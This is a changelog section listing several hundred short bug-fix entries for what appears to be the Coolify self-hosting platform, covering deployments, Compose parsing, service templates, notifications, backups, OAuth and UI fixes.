-- Email verification / forgot password
-- Escape build envs properly for nixpacks + docker build
-- Undead endpoint
-- Upload limit on ui
-- Save cmd output propely (merge)
-- Load profile on remote commands
-- Load profile and set envs on remote cmd
-- Restart should not update config hash
-- Preview deployments with nixpacks
-- Cleanup docker stuffs before upgrading
-- Service deletion command
-- Cpuset limits was determined in a way that apps only used 1 CPU max, ehh, sorry.
-- Service stack view
-- Change proxy view
-- Checkbox click
-- Git pull command for deploy key based previews
-- Server status job
-- Service deletion bug!
-- Links
-- Redis custom conf
-- Sentry error
-- Restrict concurrent deployments per server
-- Queue
-- Change env variable length
-- Bitbucket manual deployments
-- Webhooks for multiple apps
-- Unhealthy deployments should be failed
-- Add env variables for wordpress template without database
-- Service deletion function
-- Service deletion fix
-- Dns validation + duplicated fqdns
-- Validate server navbar upated
-- Regenerate labels on application clone
-- Service deletion
-- Not able to use other shared envs
-- Sentry fix
-- Sentry
-- Sentry error
-- Sentry
-- Sentry error
-- Create dynamic directory
-- Migrate to new modal
-- Duplicate domain check
-- Tags
-- Wrap tags and avoid horizontal overflow
-- Stripe webhooks
-- Feedback from self-hosted envs to discord
-- New menu on navbar
-- Make sure resources are deleted in async mode
-- Go to prod env from dashboard if there is no other envs defined
-- User proper image_tag, if set
-- New menu ui
-- Lock logdrain configuration when one of them are enabled
-- Add docker compose check during server validation
-- Get service stack as uuid, not name
-- Menu
-- Flex wrap deployment previews
-- Boolean docker options
-- Only add 'networks' key if 'network_mode' is absent
-- Cleanup scheduled tasks
-- Padding left on input boxes
-- Use ls / command instead ls
-- Do not add the same server twice
-- Only show redeployment required if status is not exited
-- Add openbsd ssh server check
-- Resources
-- Empty build variables
-- *(server)* Revalidate server button not showing in server's page
-- Fluent bit ident level
-- Submodule cloning
-- Database status
-- Permission change updates from webhook
-- Server validation
-- Connections being stuck and not processed until proxy restarts
-- Use latest image if nothing is specified
-- No coolify.yaml found
-- Server validation
-- Statuses
-- Unknown image of service until it is uploaded
-- Subscription / plan switch, etc
-- Firefly service
-- Force enable/disable server in case ultimate package quantity decreases
-- Server disabled
-- Custom dockerfile location always checked
-- Import to mysql and mariadb
-- Resource tab not loading if server is not reachable
-- Load unmanaged async
-- Do not show n/a networsk
-- Service container status updates
-- Public prs should not be commented
-- Pull request deployments + build servers
-- Env value generation
-- Sentry error
-- Service status updated
-- Should note delete personal teams
-- Make sure to show some buttons
-- Sort repositories by name
-- Deploy api messages
-- Fqdn null in case docker compose bp
-- Reload caddy issue
-- /realtime endpoint
-- Proxy switch
-- Service ports for services + caddy
-- Failed deployments should send failed email/notification
-- Consider custom healthchecks in dockerfile
-- Create initial files async
-- Docker compose validation
-- Duplicate dockerfile
-- Multiline env variables
-- Server stopped, service page not reachable
-- Empty get logs number of lines
-- Only escape envs after v239+
-- 0 in env value
-- Consistent container name
-- Custom ip address should turn off rolling update
-- Multiline input
-- Raw compose deployment
-- Dashboard view if no project found
-- Volumes for prs
-- Shared env variable parsing
-- Compose env has SERVICE, but not defined for Coolify
-- Public service database
-- Make sure service db proxy restarted
-- Restart service db proxies
-- Two factor
-- Ui for tags
-- Update resources view
-- Realtime connection check
-- Multline env in dev mode
-- Scheduled backup for other service databases (supabase)
-- PR deployments should not be distributed to 2 servers
-- Name/from address required for resend
-- Autoupdater
-- Async service loads
-- Disabled inputs are not trucated
-- Duplicated generated fqdns are now working
-- Uis
-- Ui for cftunnels
-- Search services
-- Trial users subscription page
-- Async public key loading
-- Unfunctional server should see resources
-- Warning if you use multiple domains for a service
-- New github app creation
-- Always rebuild Dockerfile / dockerimage buildpacks
-- Do not rebuild dockerfile based apps twice
-- Make sure if envs are changed, rebuild is needed
-- Members cannot manage subscriptions
-- IsMember
-- Storage layout
-- How to update docker-compose, environment variables and fqdns
-- Git submodule update
-- Unintended left padding on sidebar
-- Hashed random delimeter in ssh commands + make sure to remove the delimeter from the command
-- Service config hash update
-- Redeploy if image not found in restart only mode
-- Check each required binaries one-by-one
-- Helper image only pulled if required, not every 10 mins
-- Make sure that confs when checking if it is changed sorted
-- Respect .env file (for default values)
-- Remove temporary cloudflared config
-- Remove lazy loading until bug figured out
-- Rollback feature
-- Base64 encode .env
-- $ in labels escaped
-- .env saved to deployment server, not to build server
-- Do no able to delete gh app without deleting resources
-- 500 error on edge case
-- Able to select server when creating new destination
-- N8n template
-- Refresh public ips on start
-- Move s3 storages to separate view
-- Mongo db backup
-- Backups
-- Autoupdate
-- Respect start period and chekc interval for hc
-- Parse HEALTHCHECK from dockerfile
-- Make s3 name and endpoint required
-- Able to update source path for predefined volumes
-- Get logs with non-root user
-- Mongo 4.0 db backup
-- Formbricks image origin
-- Add port even if traefik is used
-- Typo in tags.blade.php
-- Install.sh error
-- Env file
-- Comment out internal notification in email_verify method
-- Confirmation for custom labels
-- Change permissions on newly created dirs
-- Color for resource operation server and project name
-- Only show realtime error on non-cloud instances
-- Only allow push and mr gitlab events
-- Improve scheduled task adding/removing
-- Docker compose dependencies for pr previews
-- Properly populating dependencies
-- Use commit hash on webhooks
-- Commit message length
-- Hc from localhost to 127.0.0.1
-- Use rc in hc
-- Telegram group chat notifications
-- PR deployments have good predefined envs
-- Optimize new resource creation
-- Show it docker compose has syntax errors
-- Wrong time during a failed deployment
-- Removal of the failed deployment condition, addition of since started instead of finished time
-- Use local versions + service templates and query them every 10 minutes
-- Check proxy functionality before removing unnecessary coolify.yaml file and checking Docker Engine
-- Show first 20 users only in admin view
-- Add subpath for services
-- Ghost subdir
-- Do not pull templates in dev
-- Templates
-- Update error message for invalid token to mention invalid signature
-- Disable containerStopped job for now
-- Disable unreachable/revived notifications for now
-- JSON_UNESCAPED_UNICODE
-- Add wget to nixpacks builds
-- Pre and post deployment commands
-- Bitbucket commits link
-- Better way to add curl/wget to nixpacks
-- Root team able to download backups
-- Build server should not have a proxy
-- Improve build server functionalities
-- Sentry issue
-- Sentry
-- Sentry error + livewire downgrade
-- Sentry
-- Sentry
-- Sentry error
-- Sentry
-- Force load services from cdn on reload list
-- Do not allow service storage mount point modifications
-- Volume adding
-- Sync upgrade process
-- Publish horizon
-- Add missing team model
-- Test new upgrade process?
-- Throw exception
-- Build server dirs not created on main server
-- Compose load with non-root user
-- Able to redeploy dockerfile based apps without cache
-- Compose previews does have env variables
-- Fine-tune cdn pulls
-- Spamming :D
-- Parse docker version better
-- Compose issues
-- SERVICE_FQDN has source port in it
-- Logto service
-- Allow invitations via email
-- Sort by defined order + fixed typo
-- Only ignore volumes with driver_opts
-- Check env in args for compose based apps
-- Custom docker compose commands, add project dir if needed
-- Autoupdate process
-- Backup executions view
-- Handle previously defined compose previews
-- Sort backup executions
-- Supabase service, newest versions
-- Set default name for Docker volumes if it is null
-- Multiline variable should be literal + should be multiline in bash with \
-- Gitlab merge request should close PR
-- Multiline build args
-- Setup script doesnt link to the correct source code file
-- Install.sh do not reinstall packages on arch
-- Just restart
-- Stripprefix middleware correctly labeled to http
-- Bitbucket link
-- Compose generator
-- Do no truncate repositories wtih domain (git) in it
-- In services should edit compose file for volumes and envs
-- Handle laravel deployment better
-- Db proxy status shown better in the UI
-- Show commit message on webhooks + prs
-- Metrics parsing
-- Charts
-- Application custom labels reset after saving
-- Static build with new nixpacks build process
-- Make server charts one livewire component with one interval selector
-- You can now add env variable from ui to services
-- Update compose environment with UI defined variables
-- Refresh deployable compose without reload
-- Remove cloud stripe notifications
-- App deployment should be in high queue
-- Remove zoom from modals
-- Get envs before sortby
-- MB is % lol
-- Projects with 0 envs
-- Run user commands on high prio queue
-- Load js locally
-- Remove lemon + paddle things
-- Run container commands on high priority
-- Image logo
-- Remove both option for api endpoints. it just makes things complicated
-- Cleanup subs in cloud
-- Show keydbs/dragonflies/clickhouses
-- Only run cloud clean on cloud + remove root team
-- Force cleanup on busy servers
-- Check domain on new app via api
-- Custom container name will be the container name, not just internal network name
-- Api updates
-- Yaml everywhere
-- Add newline character to private key before saving
-- Add validation for webhook endpoint selection
-- Database input validators
-- Remove own app from domain checks
-- Return data of app update
-- Do not overwrite hardcoded variables if they rely on another variable
-- Remove networks when deleting a docker compose based app
-- Api
-- Always set project name during app deployments
-- Remove volumes as well
-- Gitea pr previews
-- Prevent instance fqdn persisting to other servers dynamic proxy configs
-- Better volume cleanups
-- Cleanup parameter
-- Update redirect URL in unauthenticated exception handler
-- Respect top-level configs and secrets
-- Service status changed event
-- Disable sentinel until a few bugs are fixed
-- Service domains and envs are properly updated
-- *(reactive-resume)* New healthcheck command for MinIO
-- *(MinIO)* New command healthcheck
-- Update minio hc in services
-- Add validation for missing docker compose file
-- Typo in is_literal helper
-- Env is_literal helper text typo
-- Update docker compose pull command with --policy always
-- Plane service template
-- Vikunja
-- Docmost template
-- Drupal
-- Improve github source creation
-- Tag deployments
-- New docker compose parsing
-- Handle / in preselecting branches
-- Handle custom_internal_name check in ApplicationDeploymentJob.php
-- If git limit reached, ignore it and continue with a default selection
-- Backup downloads
-- Missing input for api endpoint
-- Volume detection (dir or file) is fixed
-- Supabase
-- Create file storage even if content is empty
-- Preview deployments should be stopped properly via gh webhook
-- Deleting application should delete preview deployments
-- Plane service images
-- Fix issue with deployment start command in ApplicationDeploymentJob
-- Directory will be created by default for compose host mounts
-- Restart proxy does not work + status indicator on the UI
-- Uuid in api docs type
-- Raw compose deployment .env not found
-- Api -> application patch endpoint
-- Remove pull always when uploading backup to s3
-- Handle array env vars
-- Link in task failed job notifications
-- Random generated uuid will be full length (not 7 characters)
-- Gitlab service
-- Gitlab logo
-- Bitbucket repository url
-- By default volumes that we cannot determine if they are directories or files are treated as directories
-- Domain update on services on the UI
-- Update SERVICE_FQDN/URL env variables when you change the domain
-- Several shared environment variables in one value, parsed correctly
-- Members of root team should not see instance admin stuff
-- Parse docker composer
-- Service env parsing
-- Service env variables
-- Activity type invalid
-- Update env on ui
-- Only append docker network if service/app is running
-- Remove lazy load from scheduled tasks
-- Plausible template
-- Service_url should not have a trailing slash
-- If usagebefore cannot be determined, cleanup docker with force
-- Async remote command
-- Only run logdrain if necessary
-- Remove network if it is only connected to coolify proxy itself
-- Dir mounts should have proper dirs
-- File storages (dir/file mount) handled properly
-- Do not use port exposes on docker compose buildpacks
-- Minecraft server template fixed
-- Graceful shutdown
-- Stop resources gracefully
-- Handle null and empty disk usage in DockerCleanupJob
-- Show latest version on manual update view
-- Empty string content should be saved as a file
-- Update Traefik labels on init
-- Add missing middleware for server check job
-- Scheduledbackup not found
-- Manual update process
-- Timezone not updated when systemd is missing
-- If volumes + file mounts are defined, should merge them together in the compose file
-- All mongo v4 backups should use the different backup command
-- Database custom environment variables
-- Connect compose apps to the right predefined network
-- Docker compose destination network
-- Server status when there are multiple servers
-- Sync fqdn change on the UI
-- Pr build names in case custom name is used
-- Application patch request instant_deploy
-- Canceling deployment on build server
-- Backup of password protected postgresql database
-- Docker cleanup job
-- Storages with preserved git repository
-- Parser parser parser
-- New parser only in dev
-- Parser parser
-- Numberoflines should be number
-- Docker cleanup job
-- Fix directory and file mount headings in file-storage.blade.php
-- Preview fqdn generation
-- Revert a few lines
-- Service ui sync bug
-- Setup script doesn't work on rhel based images with some curl variant already installed
-- Let's wait for healthy container during installation and wait an extra 20 seconds (for migrations)
-- Infra files
-- Log drain only for Applications
-- Copy large compose files through scp (not ssh)
-- Check if array is associative or not
-- Openapi endpoint urls
-- Convert environment variables to one format in shared.php
-- Logical volumes could be overwritten with new path
-- Env variable in value parsed
-- Pull coolify image only when the app needs to be updated
-- Wrong executions order
-- Handle project not found error in environment_details API endpoint
-- Deployment running for - without "ago"
-- Update helper image pulling logic to only pull if the version is newer
-- Parser
-- Plunk NEXT_PUBLIC_API_URI
-- Reenable overlapping servercheckjob
-- Appwrite template + parser
-- Don't add `networks` key if `network_mode` is used
-- Remove debug statement in shared.php
-- Scp through cloudflare
-- Delete older versions of the helper image other than the latest one
-- Update remoteProcess.php to handle null values in logItem properties
-- Disable mux_enabled during server validation
-- Move mc command to coolify image from helper
-- Keydb. add `:` delimiter for connection string
-- Cloudflare tunnel with new multiplexing feature
-- Keep-alive ws connections
-- Add build.sh to debug logs
-- Update Coolify installer
-- Terminal
-- Generate https for minio
-- Install script
-- Handle WebSocket connection close in terminal.blade.php
-- Able to open terminal to any containers
-- Refactor run-command
-- If you exit a container manually, it should close the underlying tty as well
-- Move terminal to separate view on services
-- Only update helper image in DB
-- Generated fqdn for SERVICE_FQDN_APP_3000 magic envs
-- Proxy status
-- Coolify-db should not be in the managed resources
-- Store original root key in the original location
-- Logto service
-- Cloudflared service
-- Migrations
-- Cloudflare tunnel configuration, ui, etc
-- Parser
-- Exited services statuses
-- Make sure to reload window if app status changes
-- Deploy key based deployments
-- Proxy fixes
-- Proxy
-- *(templates)* Filebrowser FQDN env variable
-- Handle edge case when build variables and env variables are in different format
-- Compose based terminal
-- Filebrowser template
-- Edit is_build_server_enabled upon creating application on other application type
-- Save settings after assigning value
-- In dev mode do not ask confirmation on delete
-- Mixpost
-- Handle deletion of 'hello' in confirmation modal for dev environment
-- Remove autofocuses
-- Ipv6 scp should use -6 flag
-- Cleanup stucked applicationdeploymentqueue
-- Realtime watch in development mode
-- Able to select root permission easier
-- Able to support more database dynamically from Coolify's UI
-- Strapi template
-- Bitcoin core template
-- Api useBuildServer
-- Service application view
-- Add new supported database images
-- Parse proxy config and check the set ports usage
-- Update FQDN
-- Scheduled backup for services view
-- Parser, espacing container labels
-- Reset description and subject fields after submitting feedback
-- Tag mass redeployments
-- Service env orders, application env orders
-- Proxy conf in dev
-- One-click services
-- Use local service-templates in dev
-- New services
-- Remove not used extra host
-- Chatwoot service
-- Directus
-- Database descriptions
-- Update services
-- Soketi
-- Select server view
-- Update mattermost image tag and add default port
-- Remove env, change timezone
-- Postgres healthcheck
-- Azimutt template - still not working haha
-- New parser with SERVICE_URL_ envs
-- Improve service template readability
-- Update password variables in Service model
-- Scheduled database server
-- Select server view
-- Signup
-- Application domains should be http and https only
-- Validate and sanitize application domains
-- Sanitize and validate application domains
-- Use correct env variable for invoice ninja password
-- Make sure caddy is not removed by cleanup
-- Libretranslate
-- Do not allow to change number of lines when streaming logs
-- Plunk
-- No manual timezones
-- Helper push
-- Format
-- Add port metadata and Coolify magic to generate the domain
-- Sentinel
-- Metrics
-- Generate sentinel url
-- Only enable Sentinel for new servers
-- Is_static through API
-- Allow setting standalone redis variables via ENVs (team variables...)
-- Check for username separately form password
-- Encrypt all existing redis passwords
-- Pull helper image on helper_version change
-- Redis database user and password
-- Able to update ipv4 / ipv6 instance settings
-- Metrics for dbs
-- Sentinel start fixed
-- Validate sentinel custom URL when enabling sentinel
-- Should be able to reset labels in read-only mode with manual click
-- No sentinel for swarm yet
-- Charts ui
-- Volume
-- Sentinel config changes restarts sentinel
-- Disable sentinel for now
-- Disable Sentinel temporarily
-- Disable Sentinel temporarily for non-dev environments
-- Access team's github apps only
-- Admins should now invite owner
-- Add experimental flag
-- GenerateSentinelUrl method
-- NumberOfLines could be null
-- Login / register view
-- Restart sentinel once a day
-- Changing private key manually won't trigger a notification
-- Grammar for helper
-- Fix my own grammar
-- Add telescope only in dev mode
-- New way to update container statuses
-- Only run server storage every 10 mins if sentinel is not active
-- Cloud admin view
-- Queries in kernel.php
-- Lower case emails only
-- Change emails to lowercase on init
-- Do not error on update email
-- Always authenticate with lowercase emails
-- Dashboard refactor
-- Add min/max length to input/texarea
-- Remove livewire legacy from help view
-- Remove unnecessary endpoints (magic)
-- Transactional email livewire
-- Destinations livewire refactor
-- Refactor destination/docker view
-- Logdrains validation
-- Reworded
-- Use Auth(), add new db proxy stop event refactor clickhouse view
-- Add user/pw to db view
-- Sort servers by name
-- Keydb view
-- Refactor tags view / remove obsolete one
-- Send discord/telegram notifications on high job queue
-- Server view refresh on validation
-- ShowBoarding
-- Show docker installation logs & ubuntu 24.10 notification
-- Do not overlap servercheckjob
-- Server limit check
-- Server validation
-- Clear route / view
-- Only skip docker installation on 24.10 if its not installed
-- For --gpus device support
-- Db/service start should be on high queue
-- Do not stop sentinel on Coolify restart
-- Run resourceCheck after new serviceCheckJob
-- Mongodb in dev
-- Better invitation errors
-- Loading indicator for db proxies
-- Do not execute gh workflow on template changes
-- Only use sentry in cloud
-- Update packagejson of coolify-realtime + add lock file
-- Update last online with old function
-- Seeder should not start sentinel
-- Start sentinel on seeder
-- Notifications ui
-- Disable wire:navigate
-- Confirmation Settings css for light mode
-- Server wildcard
-- Saving resend api key
-- Wildcard domain save
-- Disable cloudflare tunnel on "localhost"
-- Define separate volumes for mattermost service template
-- Github app name is too long
-- ServerTimezone update
-- Trigger.dev db host & sslmode=disable
-- Manual update should be executed only once + better UX
-- Upgrade.sh
-- Missing privateKey
-- Show proper error message on invalid Git source
-- Convert HTTP to SSH source when using deploy key on GitHub
-- Cloud + stripe related
-- Terminal view loading in async
-- Cool 500 error (thanks hugodos)
-- Update schema in code decorator
-- Openapi docs
-- Add tests for git url converts
-- Minio / logto url generation
-- Admin view
-- Min docker version 26
-- Pull latest service-templates.json on init
-- Workflow files for coolify build
-- Autocompletes
-- Timezone settings validation
-- Invalid tz should not prevent other jobs to be executed
-- Testing-host should be built locally
-- Poll with modal issue
-- Terminal opening issue
-- If service img not found, use github as a source
-- Fallback to local coolify.png
-- Gather private ips
-- Cf tunnel menu should be visible when server is not validated
-- Deployment optimizations
-- Init script + optimize laravel
-- Default docker engine version + fix install script
-- Pull helper image on init
-- SPA static site default nginx conf
-- Modal-input
-- Modal (+ add) on dynamic config was not opening, removed x-cloak
-- AUTOUPDATE + checkbox opacity
-- Improve helper text for metrics input fields
-- Refine helper text for metrics input fields
-- If mux conn fails, still use it without mux + save priv key with better logic
-- Migration
-- Always validate ssh key
-- Make sure important jobs/actions are running on high prio queue
-- Do not send internal notification for backups and status jobs
-- Validateconnection
-- View issue
-- Heading
-- Remove mux cleanup
-- Db backup for services
-- Version should come from constants + fix stripe webhook error reporting
-- Undefined variable
-- Remove version.php as everything is coming from constants.php
-- Sentry error
-- Websocket connections autoreconnect
-- Sentry error
-- Sentry
-- Empty server API response
-- Incorrect server API patch response
-- Missing `uuid` parameter on server API patch
-- Missing `settings` property on servers API
-- Move servers API `delete_unused_*` properties
-- Servers API returning `port` as a string -> integer
-- Only return server uuid on server update
-- Service generate includes yml files as well (haha)
-- ServercheckJob should run every 5 minutes on cloud
-- New resource icons
-- Search should be more visible on scroll on new resource
-- Logdrain settings
-- Ui
-- Email should be retried with backoff
-- Alpine in body layout
-- Application view loading
-- Postiz service
-- Only able to select the right keys
-- Test email should not be required
-- A few inputs
-- Api endpoint
-- Resolve undefined searchInput reference in Alpine.js component
-- URL and sync new app name
-- Typos and naming
-- Client and webhook secret disappear after sync
-- Missing `mysql_password` API property
-- Incorrect MongoDB init API property
-- Old git versions does not have --cone implemented properly
-- Don't allow editing traefik config
-- Restart proxy
-- Dev mode
-- Ui
-- Display actual values for disk space checks in installer script
-- Proxy change behaviour
-- Add warning color
-- Import NotificationSlack correctly
-- Add middleware to new abilities, better ux for selecting permissions, etc.
-- Root + read:sensive could read senstive data with a middlewarew
-- Always have download logs button on scheduled tasks
-- Missing css
-- Development image
-- Dockerignore
-- DB migration error
-- Drop all unused smtp columns
-- Backward compatibility
-- Email notification channel enabled function
-- Instance email settins
-- Make sure resend is false if SMTP is true and vice versa
-- Email Notification saving
-- Slack and discord url now uses text filed because encryption makes the url very long
-- Notification trait
-- Encryption fixes
-- Docker cleanup email template
-- Add missing deployment notifications to telegram
-- New docker cleanup settings are now saved to the DB correctly
-- Ui + migrations
-- Docker cleanup email notifications
-- General notifications does not go through email channel
-- Test notifications to only send it to the right channel
-- Remove resale_license from db as well
-- Nexus service
-- Fileflows volume names
-- --cone
-- Provider error
-- Database migration
-- Seeder
-- Migration call
-- Slack helper
-- Telegram helper
-- Discord helper
-- Telegram topic IDs
-- Make pushover settings more clear
-- Typo in pushover user key
-- Use Livewire refresh method and lock properties
-- Create pushover settings for existing teams
-- Update token permission check from 'write' to 'root'
-- Pushover
-- Oauth seeder
-- Correct heading display for OAuth settings in settings-oauth.blade.php
-- Adjust spacing in login form for improved layout
-- Services env values should be sensitive
-- Documenso
-- Dolibarr
-- Typo
-- Update OauthSettingSeeder to handle new provider definitions and ensure authentik is recreated if missing
-- Improve OauthSettingSeeder to correctly delete non-existent providers and ensure proper handling of provider definitions
-- Encrypt resend API key in instance settings
-- Resend api key is already a text column
-- Monaco editor light and dark mode switching
-- Service status indicator + oauth saving
-- Socialite for azure and authentik
-- Saving oauth
-- Fallback for copy button
-- Copy the right text
-- Maybe fallback is now working
-- Only show copy button on secure context
-- Render html on error page correctly
-- Invalid API response on missing project
-- Applications API response code + schema
-- Applications API writing to unavailable models
-- If an init script is renamed the old version is still on the server
-- Oauthseeder
-- Compose loading seq
-- Resource clone name + volume name generation
-- Update Dockerfile entrypoint path to /etc/entrypoint.d
-- Debug mode
-- Unreachable notifications
-- Remove duplicated ServerCheckJob call
-- Few fixes and use new ServerReachabilityChanged event
-- Use serverStatus not just status
-- Oauth seeder
-- Service ui structure
-- Check port 8080 and fallback to 80
-- Refactor database view
-- Always use docker cleanup frequency
-- Advanced server UI
-- Html css
-- Fix domain being override when update application
-- Use nixpacks predefined build variables, but still could update the default values from Coolify
-- Use local monaco-editor instead of Cloudflare
-- N8n timezone
-- Smtp encryption
-- Bind() to 0.0.0.0:80 failed
-- Oauth seeder
-- Unreachable notifications
-- Instance settings migration
-- Only encrypt instance email settings if there are any
-- Error message
-- Update healthcheck and port configurations to use port 8080
-- Compose envs
-- Scheduled tasks and backups are executed by server timezone.
-- Show backup timezone on the UI
-- Disappearing UI after livewire event received
-- Add default vector db for anythingllm
-- We need XSRF-TOKEN for terminal
-- Prevent default link behavior for resource and settings actions in dashboard
-- Increase default php memory limit
-- Show if only build servers are added to your team
-- Update Livewire button click method to use camelCase
-- Local dropzonejs
-- Import backups due to js stuff should not be navigated
-- Install inetutils on Arch Linux
-- Use ip in place of hostname from inetutils in arch
-- Update import command to append file redirection for database restoration
-- Ui bug on pw confirmation
-- Exclude system and computed fields from model replication
-- Service cloning on a separate server
-- Application cloning
-- `Undefined variable $fs_path` for databases
-- Service and database cloning and label generation
-- Labels and URL generation when cloning
-- Clone naming for different database data volumes
-- Implement all the cloneMe changes for ResourceOperations as well
-- Volume and fileStorages cloning
-- View text and helpers
-- Teable
-- Trigger with external db
-- Set `EXPERIMENTAL_FEATURES` to false for labelstudio
-- Monaco editor disabled state
-- Edge case where executions could be null
-- Create destination properly
-- Getcontainer status should timeout after 30s
-- Enable response for temporary unavailability in sentinel push endpoint
-- Use timeout in cleanup resources
-- Add timeout to sentinel process checks for improved reliability
-- Horizon job checker
-- Update response message for sentinel push route
-- Add own servers on cloud
-- Application deployment
-- Service update statsu
-- If $SERVICE found in the service specific configuration, then search for it in the db
-- Instance wide GitHub apps are not available on other teams then the source team
-- Function calls
-- UI
-- Deletion of single backup
-- Backup job deletion - delete all backups from s3 and local
-- Use new removeOldBackups function
-- Retention functions and folder deletion for local backups
-- Storage retention setting
-- Db without s3 should still backup
-- Wording
-- `Undefined variable $service` when creating a new service
-- Nodebb service
-- Calibre-web service
-- Rallly and actualbudget service
-- Removed container_name
-- Added healthcheck for gotenberg template
-- Gotenberg
-- *(template)* Gotenberg healthcheck, use /health instead of /version
-- Use wire:navigate on sidebar
-- Use wire:navigate on dashboard
-- Use wire:navigate on projects page
-- More wire:navigate
-- Even more wire:navigate
-- Service navigation
-- Logs icons everywhere + terminal
-- Redis DB should use the new resourceable columns
-- Joomla service
-- Add back letters to prod password requirement
-- Check System and GitHub time and throw and error if it is over 50s out of sync
-- Error message and server time getting
-- Error rendering
-- Render html correctly now
-- Indent
-- Potential fix for permissions update
-- Expiration time claim ('exp') must be a numeric value
-- Sanitize html error messages
-- Production password rule and cleanup code
-- Use json as it is just better than string for huge amount of logs
-- Use `wire:navigate` on server sidebar
-- Use finished_at for the end time instead of created_at
-- Cancelled deployments should not show end and duration time
-- Redirect to server index instead of show on error in Advanced and DockerCleanup components
-- Disable registration after creating the root user
-- RootUserSeeder
-- Regex username validation
-- Add spacing around echo outputs
-- Success message
-- Silent return if envs are empty or not set.
-- Create the private key before the server in the prod seeder
-- Update ProductionSeeder to check for private key instead of server's private key
-- *(ui)* Missing underline for docs link in the Swarm section (#4860)
-- *(service)* Change chatwoot service postgres image from `postgres:12` to `pgvector/pgvector:pg12`
-- Docker image parser
-- Add public key attribute to privatekey model
-- Correct service update logic in Docker Compose parser
-- Update CDN URL in install script to point to nightly version
-- *(service)* Add healthcheck to Cloudflared service (#4859)
-- Remove wire:navigate from import backups
-- *(ui)* Backups link should not redirected to general
-- Envs with special chars during build
-- *(db)* `finished_at` timestamps are not set for existing deployments
-- Load service templates on cloud
-- *(email)* Transactional email sending
-- *(ui)* Add missing save button for new Docker Cleanup page
-- *(ui)* Show preview deployment environment variables
-- *(ui)* Show error on terminal if container has no shell (bash/sh)
-- *(parser)* Resource URL should only be parsed if there is one
-- *(core)* Compose parsing for apps
-- *(redis)* Update environment variable keys from standalone_redis_id to resourceable_id
-- *(routes)* Local API docs not available on domain or IP
-- *(routes)* Local API docs not available on domain or IP
-- *(core)* Update application_id references to resourable_id and resourable_type for Nixpacks configuration
-- *(core)* Correct spelling of 'resourable' to 'resourceable' in Nixpacks configuration for ApplicationDeploymentJob
-- *(ui)* Traefik dashboard url not working
-- *(ui)* Proxy status badge flashing during navigation
-- *(core)* Update environment variable generation logic in ApplicationDeploymentJob to handle different build packs
-- *(env)* Shared variables can not be updated
-- *(ui)* Metrics stuck in loading state
-- *(ui)* Use `wire:navigate` to navigate to the server settings page
-- *(service)* Plunk API & health check endpoint (#4925)
-- *(service)* Infinite loading and lag with invoiceninja service (#4876)
-- *(service)* Invoiceninja service
-- *(workflows)* `Waiting for changes` label should also be considered and improved messages
-- *(workflows)* Remove tags only if the PR has been merged into the main branch
-- *(terminal)* Terminal shows that it is not available, even though it is
-- *(labels)* Docker labels do not generated correctly
-- *(helper)* Downgrade Nixpacks to v1.29.0
-- *(labels)* Generate labels when they are empty not when they are already generated
-- *(storage)* Hetzner storage buckets not working
-- *(ui)* Update database control UI to check server functionality before displaying actions
-- *(ui)* Typo in upgrade message
-- *(ui)* Cloudflare tunnel configuration should be an info, not a warning
-- *(s3)* DigitalOcean storage buckets do not work
-- *(ui)* Correct typo in container label helper text
-- Disable certain parts if readonly label is turned off
-- Cleanup old scheduled_task_executions
-- Validate cron expression in Scheduled Task update
-- *(core)* Check cron expression on save
-- *(database)* Detect more postgres database image types
-- *(templates)* Update service templates
-- Remove quotes in COOLIFY_CONTAINER_NAME
-- *(templates)* Update Trigger.dev service templates with v3 configuration
-- *(database)* Adjust MongoDB restore command and import view styling
-- *(core)* Improve public repository URL parsing for branch and base directory
-- *(core)* Increase HTTP/2 max concurrent streams to 250 (default)
-- *(ui)* Update docker compose file helper text to clarify repository modification
-- *(ui)* Skip SERVICE_FQDN and SERVICE_URL variables during update
-- *(core)* Stopping database is not disabling db proxy
-- *(core)* Remove --remove-orphans flag from proxy startup command to prevent other proxy deletions (db)
-- *(api)* Domain check when updating domain
-- *(ui)* Always redirect to dashboard after team switch
-- *(backup)* Escape special characters in database backup commands
-- *(core)* Improve deployment failure Slack notification formatting
-- *(core)* Update Slack notification formatting to use bold correctly
-- *(core)* Enhance Slack deployment success notification formatting
-- *(ui)* Simplify service templates loading logic
-- *(ui)* Align title and add button vertically in various views
-- Handle pullrequest:updated for reliable preview deployments
-- *(ui)* Fix typo on team page (#5105)
-- Cal.com documentation link give 404 (#5070)
-- *(slack)* Notification settings URL in `HighDiskUsage` message (#5071)
-- *(ui)* Correct typo in Storage delete dialog (#5061)
-- *(lang)* Add missing italian translations (#5057)
-- *(service)* Improve duplicati.yaml (#4971)
-- *(service)* Links in homepage service (#5002)
-- *(service)* Added SMTP credentials to getoutline yaml template file (#5011)
-- *(service)* Added `KEY` Variable to Beszel Template (#5021)
-- *(cloudflare-tunnels)* Dead links to docs (#5104)
-- System-wide GitHub apps (#5114)
-- Pull latest image from registry when using build server
-- *(deployment)* Improve server selection for deployment cancellation
-- *(deployment)* Improve log line rendering and formatting
-- *(s3-storage)* Optimize team admin notification query
-- *(core)* Improve connection testing with dynamic disk configuration for s3 backups
-- *(core)* Update service status refresh event handling
-- *(ui)* Adjust polling intervals for database and service status checks
-- *(service)* Update Fider service template healthcheck command
-- *(core)* Improve server selection error handling in Docker component
-- *(core)* Add server functionality check before dispatching container status
-- *(ui)* Disable sticky scroll in Monaco editor
-- *(ui)* Add literal and multiline env support to services.
-- *(services)* Owncloud docs link
-- *(template)* Remove db-migration step from `infisical.yaml` (#5209)
-- *(service)* Penpot (#5047)
-- *(core)* Production dockerfile
-- *(ui)* Update storage configuration guidance link
-- *(ui)* Set default SMTP encryption to starttls
-- *(notifications)* Correct environment URL path in application notifications
-- *(config)* Update default PostgreSQL host to coolify-db instead of postgres
-- *(docker)* Improve Docker compose file validation process
-- *(ui)* Restrict service retrieval to current team
-- *(core)* Only validate custom compose files
-- *(mail)* Set default mailer to array when not specified
-- *(ui)* Correct redirect routes after task deletion
-- *(core)* Adding a new server should not try to make the default docker network
-- *(core)* Clean up unnecessary files during application image build
-- *(core)* Improve label generation and merging for applications and services
-- *(billing)* Handle 'past_due' subscription status in Stripe processing
-- *(revert)* Label parsing
-- *(helpers)* Initialize command variable in parseCommandFromMagicEnvVariable
-- *(billing)* Restrict Stripe subscription status update to 'active' only
-- *(api)* Docker compose based apps creationg through api
-- *(database)* Improve database type detection for Supabase Postgres images
-- *(ssl)* Permission of ssl crt and key inside the container
-- *(ui)* Make sure file mounts do not showing the encrypted values
-- *(ssl)* Make default ssl mode require not verify-full as it does not need a ca cert
